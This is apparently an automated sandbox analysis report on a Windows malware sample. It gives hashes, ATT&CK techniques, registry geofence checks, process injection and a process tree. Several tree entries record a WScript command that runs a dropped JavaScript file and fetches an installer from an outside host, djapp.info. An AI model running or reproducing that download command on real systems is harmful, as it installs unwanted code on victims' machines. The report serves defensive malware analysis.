e8c7146c1c477cfacd432af5ba7952073c73cf4d627d2392678917cefdfe6a27

General

Target

ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe
Size

184KB
MD5

ad885e38698fec8c29afc22cc3176e12
SHA1

8c471b848ce7278d625e81ee6463fda90f11f2f9
SHA256

e8c7146c1c477cfacd432af5ba7952073c73cf4d627d2392678917cefdfe6a27
SHA512

5564db65945e0387faf856c7d90b2bd056098242b4a6f0b7890e9e4d7580be5010f38665f767e1bf5056e40b06d2ab9aab9e13fbe370ac474e38d4aeb86753ee
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30:/7BSH8zUB+nGESaaRvoB7FJNndnx

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	4844	WScript.exe
24	2444	WScript.exe
26	5100	WScript.exe
41	2848	WScript.exe
43	5052	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3560	2160	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 4844	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	82
PID 2160 wrote to memory of 4844	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	82
PID 2160 wrote to memory of 4844	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	82
PID 2160 wrote to memory of 2444	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	86
PID 2160 wrote to memory of 2444	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	86
PID 2160 wrote to memory of 2444	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	86
PID 2160 wrote to memory of 5100	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	87
PID 2160 wrote to memory of 5100	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	87
PID 2160 wrote to memory of 5100	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	87
PID 2160 wrote to memory of 2848	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	91
PID 2160 wrote to memory of 2848	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	91
PID 2160 wrote to memory of 2848	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	91
PID 2160 wrote to memory of 5052	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	92
PID 2160 wrote to memory of 5052	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	92
PID 2160 wrote to memory of 5052	2160	ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe	92

C:\Users\Admin\AppData\Local\Temp\ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ad885e38698fec8c29afc22cc3176e12_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf545A.js" http://www.djapp.info/?domain=GjeeguOaig.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf545A.exe
  2⤵
  - Blocklisted process makes network request
  PID:4844
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf545A.js" http://www.djapp.info/?domain=GjeeguOaig.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf545A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2444
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf545A.js" http://www.djapp.info/?domain=GjeeguOaig.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf545A.exe
  2⤵
  - Blocklisted process makes network request
  PID:5100
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf545A.js" http://www.djapp.info/?domain=GjeeguOaig.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf545A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2848
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf545A.js" http://www.djapp.info/?domain=GjeeguOaig.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf545A.exe
  2⤵
  - Blocklisted process makes network request
  PID:5052
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2160 -s 1456
  2⤵
  - Program crash
  PID:3560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2160 -ip 2160
1⤵
PID:2244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf545A.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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